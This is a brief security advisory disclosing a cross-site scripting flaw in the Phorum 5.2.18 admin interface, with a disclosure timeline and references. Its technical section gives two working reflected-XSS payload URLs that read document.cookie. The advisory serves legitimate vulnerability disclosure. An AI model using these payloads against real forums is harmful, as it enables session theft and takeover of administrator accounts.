Advisory:                Phorum 5.2.18 Cross-site scripting vulnerability
Advisory ID:             SSCHADV2011-023
Author:                  Stefan Schurtz
Affected Software:    Successfully tested on Phorum 5.2.18
Vendor URL:            http://www.phorum.org/
Vendor Status:         informed
CVE-ID:                  -

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Vulnerability Description:
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Phorum 5.2.18 is prone to a Cross-site scripting vulnerability

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Technical Details:
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http://<target>/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script>
http://<target>/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script>

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Solution:
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Disclosure Timeline:
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02-Oct-2011 - informed developers
03-Oct-2011 - release date of this security advisory

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://www.phorum.org/
http://www.rul3z.de/advisories/SSCHADV2011-023.txt